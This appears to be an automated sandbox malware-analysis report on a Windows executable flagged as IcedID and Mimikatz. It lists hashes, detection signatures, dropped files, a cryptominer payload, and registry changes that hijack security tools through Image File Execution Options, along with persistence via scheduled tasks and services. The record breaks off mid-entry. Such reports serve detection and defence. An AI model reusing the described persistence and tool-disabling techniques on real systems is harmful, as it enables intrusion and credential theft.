Analysis
-
max time kernel
150s -
max time network
154s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
10-04-2024 19:03
Behavioral task
behavioral1
Sample
2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe
Resource
win7-20240221-en
General
-
Target
2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe
-
Size
7.0MB
-
MD5
b12657d84fcb58b883a63e6f4b8692fd
-
SHA1
cc7257ea7bb7e4a18fd5ce8217b3822e94e4d0f9
-
SHA256
0344ddf864cd1dd2f6339f5cbd34e52c514ac21603ca4baaececdbb30aad8bc5
-
SHA512
1405c5f4a05b5bdc236eb043711083244944d65db8ce461553ae8f657ff49545c9796c3673e08ef81894a148ea7c36c6db177a552a4ef899559dc86ce2300000
-
SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
bybsswu.exedescription pid process target process PID 2596 created 1016 2596 bybsswu.exe spoolsv.exe -
Contacts a large (16937) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2360-134-0x000000013F920000-0x000000013FA0E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/2360-136-0x000000013F920000-0x000000013FA0E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 33 IoCs
Processes:
resource yara_rule behavioral1/memory/2112-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX \Windows\nubbucjk\bybsswu.exe UPX behavioral1/memory/2636-8-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX \Windows\mfebbbrby\Corporate\vfshost.exe UPX behavioral1/memory/2360-134-0x000000013F920000-0x000000013FA0E000-memory.dmp UPX behavioral1/memory/556-131-0x00000000005C0000-0x00000000006AE000-memory.dmp UPX behavioral1/memory/2360-136-0x000000013F920000-0x000000013FA0E000-memory.dmp UPX \Windows\Temp\mfebbbrby\eszugbung.exe UPX behavioral1/memory/1716-142-0x000000013FD90000-0x000000013FDEB000-memory.dmp UPX \Windows\Temp\ajszieiei\bsuyvg.exe UPX behavioral1/memory/2596-145-0x0000000002830000-0x0000000002950000-memory.dmp UPX behavioral1/memory/2952-147-0x000000013F3A0000-0x000000013F4C0000-memory.dmp UPX behavioral1/memory/1716-149-0x000000013FD90000-0x000000013FDEB000-memory.dmp UPX behavioral1/memory/2952-151-0x000000013F3A0000-0x000000013F4C0000-memory.dmp UPX behavioral1/memory/1716-154-0x000000013FD90000-0x000000013FDEB000-memory.dmp UPX behavioral1/memory/2344-160-0x000000013F690000-0x000000013F6EB000-memory.dmp UPX behavioral1/memory/2344-177-0x000000013F690000-0x000000013F6EB000-memory.dmp UPX behavioral1/memory/2032-187-0x000000013F650000-0x000000013F6AB000-memory.dmp UPX behavioral1/memory/2032-189-0x000000013F650000-0x000000013F6AB000-memory.dmp UPX behavioral1/memory/2952-191-0x000000013F3A0000-0x000000013F4C0000-memory.dmp UPX behavioral1/memory/2952-192-0x000000013F3A0000-0x000000013F4C0000-memory.dmp UPX behavioral1/memory/2792-197-0x000000013F260000-0x000000013F2BB000-memory.dmp UPX behavioral1/memory/2792-199-0x000000013F260000-0x000000013F2BB000-memory.dmp UPX behavioral1/memory/2988-205-0x000000013F480000-0x000000013F4DB000-memory.dmp UPX behavioral1/memory/2988-207-0x000000013F480000-0x000000013F4DB000-memory.dmp UPX behavioral1/memory/2952-209-0x000000013F3A0000-0x000000013F4C0000-memory.dmp UPX behavioral1/memory/1680-216-0x000000013F260000-0x000000013F2BB000-memory.dmp UPX behavioral1/memory/2952-219-0x000000013F3A0000-0x000000013F4C0000-memory.dmp UPX behavioral1/memory/2952-222-0x000000013F3A0000-0x000000013F4C0000-memory.dmp UPX behavioral1/memory/2952-240-0x000000013F3A0000-0x000000013F4C0000-memory.dmp UPX behavioral1/memory/2952-244-0x000000013F3A0000-0x000000013F4C0000-memory.dmp UPX behavioral1/memory/2952-245-0x000000013F3A0000-0x000000013F4C0000-memory.dmp UPX behavioral1/memory/2952-247-0x000000013F3A0000-0x000000013F4C0000-memory.dmp UPX -
XMRig Miner payload 10 IoCs
Processes:
resource yara_rule behavioral1/memory/2952-151-0x000000013F3A0000-0x000000013F4C0000-memory.dmp xmrig behavioral1/memory/2952-191-0x000000013F3A0000-0x000000013F4C0000-memory.dmp xmrig behavioral1/memory/2952-192-0x000000013F3A0000-0x000000013F4C0000-memory.dmp xmrig behavioral1/memory/2952-209-0x000000013F3A0000-0x000000013F4C0000-memory.dmp xmrig behavioral1/memory/2952-219-0x000000013F3A0000-0x000000013F4C0000-memory.dmp xmrig behavioral1/memory/2952-222-0x000000013F3A0000-0x000000013F4C0000-memory.dmp xmrig behavioral1/memory/2952-240-0x000000013F3A0000-0x000000013F4C0000-memory.dmp xmrig behavioral1/memory/2952-244-0x000000013F3A0000-0x000000013F4C0000-memory.dmp xmrig behavioral1/memory/2952-245-0x000000013F3A0000-0x000000013F4C0000-memory.dmp xmrig behavioral1/memory/2952-247-0x000000013F3A0000-0x000000013F4C0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 7 IoCs
Processes:
resource yara_rule behavioral1/memory/2112-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz \Windows\nubbucjk\bybsswu.exe mimikatz behavioral1/memory/2636-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/556-133-0x00000000005C0000-0x00000000006AE000-memory.dmp mimikatz behavioral1/memory/2360-134-0x000000013F920000-0x000000013FA0E000-memory.dmp mimikatz behavioral1/memory/2360-136-0x000000013F920000-0x000000013FA0E000-memory.dmp mimikatz behavioral1/memory/2596-182-0x0000000002830000-0x0000000002950000-memory.dmp mimikatz -
Drops file in Drivers directory 2 IoCs
Processes:
wpcap.exebybsswu.exedescription ioc process File created C:\Windows\system32\drivers\npf.sys wpcap.exe File opened for modification C:\Windows\system32\drivers\etc\hosts bybsswu.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 1912 netsh.exe 2872 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
Processes:
bybsswu.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bybsswu.exe -
Executes dropped EXE 16 IoCs
Processes:
bybsswu.exebybsswu.exewpcap.exehzuqkpuek.exevfshost.exeeszugbung.exebsuyvg.exeeszugbung.exexohudmc.exehuzbeq.exeeszugbung.exeeszugbung.exeeszugbung.exeeszugbung.exebybsswu.exeliaekeiyb.exepid process 2636 bybsswu.exe 2596 bybsswu.exe 2424 wpcap.exe 2532 hzuqkpuek.exe 2360 vfshost.exe 1716 eszugbung.exe 2952 bsuyvg.exe 2344 eszugbung.exe 1576 xohudmc.exe 2444 huzbeq.exe 2032 eszugbung.exe 2792 eszugbung.exe 2988 eszugbung.exe 1680 eszugbung.exe 812 bybsswu.exe 2548 liaekeiyb.exe -
Loads dropped DLL 23 IoCs
Processes:
cmd.execmd.exewpcap.execmd.exehzuqkpuek.execmd.exebybsswu.execmd.exepid process 872 cmd.exe 872 cmd.exe 2072 cmd.exe 2424 wpcap.exe 2424 wpcap.exe 2424 wpcap.exe 2424 wpcap.exe 2424 wpcap.exe 3032 cmd.exe 2532 hzuqkpuek.exe 2532 hzuqkpuek.exe 556 cmd.exe 556 cmd.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 3024 cmd.exe -
Processes:
resource yara_rule \Windows\mfebbbrby\Corporate\vfshost.exe upx behavioral1/memory/2360-134-0x000000013F920000-0x000000013FA0E000-memory.dmp upx behavioral1/memory/2360-136-0x000000013F920000-0x000000013FA0E000-memory.dmp upx \Windows\Temp\mfebbbrby\eszugbung.exe upx behavioral1/memory/1716-142-0x000000013FD90000-0x000000013FDEB000-memory.dmp upx \Windows\Temp\ajszieiei\bsuyvg.exe upx behavioral1/memory/2596-145-0x0000000002830000-0x0000000002950000-memory.dmp upx behavioral1/memory/2952-147-0x000000013F3A0000-0x000000013F4C0000-memory.dmp upx behavioral1/memory/1716-149-0x000000013FD90000-0x000000013FDEB000-memory.dmp upx behavioral1/memory/2952-151-0x000000013F3A0000-0x000000013F4C0000-memory.dmp upx behavioral1/memory/1716-154-0x000000013FD90000-0x000000013FDEB000-memory.dmp upx behavioral1/memory/2344-160-0x000000013F690000-0x000000013F6EB000-memory.dmp upx behavioral1/memory/2344-177-0x000000013F690000-0x000000013F6EB000-memory.dmp upx behavioral1/memory/2032-187-0x000000013F650000-0x000000013F6AB000-memory.dmp upx behavioral1/memory/2032-189-0x000000013F650000-0x000000013F6AB000-memory.dmp upx behavioral1/memory/2952-191-0x000000013F3A0000-0x000000013F4C0000-memory.dmp upx behavioral1/memory/2952-192-0x000000013F3A0000-0x000000013F4C0000-memory.dmp upx behavioral1/memory/2792-197-0x000000013F260000-0x000000013F2BB000-memory.dmp upx behavioral1/memory/2792-199-0x000000013F260000-0x000000013F2BB000-memory.dmp upx behavioral1/memory/2988-205-0x000000013F480000-0x000000013F4DB000-memory.dmp upx behavioral1/memory/2988-207-0x000000013F480000-0x000000013F4DB000-memory.dmp upx behavioral1/memory/2952-209-0x000000013F3A0000-0x000000013F4C0000-memory.dmp upx behavioral1/memory/1680-216-0x000000013F260000-0x000000013F2BB000-memory.dmp upx behavioral1/memory/2952-219-0x000000013F3A0000-0x000000013F4C0000-memory.dmp upx behavioral1/memory/2952-222-0x000000013F3A0000-0x000000013F4C0000-memory.dmp upx behavioral1/memory/2952-240-0x000000013F3A0000-0x000000013F4C0000-memory.dmp upx behavioral1/memory/2952-244-0x000000013F3A0000-0x000000013F4C0000-memory.dmp upx behavioral1/memory/2952-245-0x000000013F3A0000-0x000000013F4C0000-memory.dmp upx behavioral1/memory/2952-247-0x000000013F3A0000-0x000000013F4C0000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 15 ifconfig.me 16 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 12 IoCs
Processes:
bybsswu.exewpcap.exexohudmc.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat bybsswu.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\huzbeq.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\huzbeq.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 bybsswu.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 bybsswu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A bybsswu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A bybsswu.exe -
Drops file in Program Files directory 3 IoCs
Processes:
wpcap.exedescription ioc process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
Processes:
bybsswu.execmd.exe2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exeliaekeiyb.exedescription ioc process File created C:\Windows\nubbucjk\vimpcsvc.xml bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\Shellcode.ini bybsswu.exe File opened for modification C:\Windows\mfebbbrby\Corporate\log.txt cmd.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\zlib1.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\docmicfg.xml bybsswu.exe File created C:\Windows\nubbucjk\schoedcl.xml bybsswu.exe File created C:\Windows\mfebbbrby\tgykbkbiz\ip.txt bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\exma-1.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\posh-0.dll bybsswu.exe File opened for modification C:\Windows\nubbucjk\docmicfg.xml bybsswu.exe File created C:\Windows\mfebbbrby\upbdrjv\swrpwe.exe bybsswu.exe File opened for modification C:\Windows\nubbucjk\bybsswu.exe 2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe File created C:\Windows\mfebbbrby\tgykbkbiz\hzuqkpuek.exe bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\trch-1.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\vimpcsvc.xml bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\xdvl-0.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\spoolsrv.exe bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\vimpcsvc.exe bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\docmicfg.exe bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\schoedcl.exe bybsswu.exe File opened for modification C:\Windows\nubbucjk\schoedcl.xml bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\crli-0.dll bybsswu.exe File created C:\Windows\nubbucjk\spoolsrv.xml bybsswu.exe File created C:\Windows\mfebbbrby\tgykbkbiz\wpcap.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\cnli-1.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\libxml2.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\vimpcsvc.xml bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\schoedcl.xml bybsswu.exe File created C:\Windows\ime\bybsswu.exe bybsswu.exe File created C:\Windows\nubbucjk\bybsswu.exe 2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\tucl-1.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\svschost.xml bybsswu.exe File created C:\Windows\mfebbbrby\tgykbkbiz\scan.bat bybsswu.exe File opened for modification C:\Windows\mfebbbrby\tgykbkbiz\Result.txt liaekeiyb.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\svschost.exe bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\docmicfg.xml bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\ssleay32.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\tibe-2.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\svschost.xml bybsswu.exe File created C:\Windows\mfebbbrby\tgykbkbiz\wpcap.exe bybsswu.exe File opened for modification C:\Windows\mfebbbrby\tgykbkbiz\Packet.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\libeay32.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\spoolsrv.xml bybsswu.exe File opened for modification C:\Windows\nubbucjk\svschost.xml bybsswu.exe File created C:\Windows\mfebbbrby\Corporate\mimidrv.sys bybsswu.exe File created C:\Windows\mfebbbrby\tgykbkbiz\liaekeiyb.exe bybsswu.exe File opened for modification C:\Windows\nubbucjk\vimpcsvc.xml bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\spoolsrv.xml bybsswu.exe File created C:\Windows\nubbucjk\svschost.xml bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\AppCapture32.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\trfo-2.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\schoedcl.xml bybsswu.exe File opened for modification C:\Windows\nubbucjk\spoolsrv.xml bybsswu.exe File created C:\Windows\mfebbbrby\Corporate\vfshost.exe bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\coli-0.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\specials\ucl.dll bybsswu.exe File created C:\Windows\mfebbbrby\UnattendGC\AppCapture64.dll bybsswu.exe File created C:\Windows\mfebbbrby\tgykbkbiz\Packet.dll bybsswu.exe File created C:\Windows\nubbucjk\docmicfg.xml bybsswu.exe File created C:\Windows\mfebbbrby\Corporate\mimilib.dll bybsswu.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 2364 sc.exe 1692 sc.exe 2356 sc.exe 1636 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 3 IoCs
Processes:
resource yara_rule \Windows\nubbucjk\bybsswu.exe nsis_installer_2 \Windows\mfebbbrby\tgykbkbiz\wpcap.exe nsis_installer_1 \Windows\mfebbbrby\tgykbkbiz\wpcap.exe nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 2544 schtasks.exe 1608 schtasks.exe 972 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
bybsswu.exenetsh.exeeszugbung.exenetsh.exenetsh.exeeszugbung.exenetsh.exenetsh.exenetsh.exenetsh.exeeszugbung.exeeszugbung.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exeeszugbung.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eszugbung.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 bybsswu.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" bybsswu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eszugbung.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 bybsswu.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1a-a0-2d-15-9d-16\WpadDecisionReason = "1" bybsswu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software eszugbung.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs bybsswu.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump eszugbung.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople bybsswu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (data) 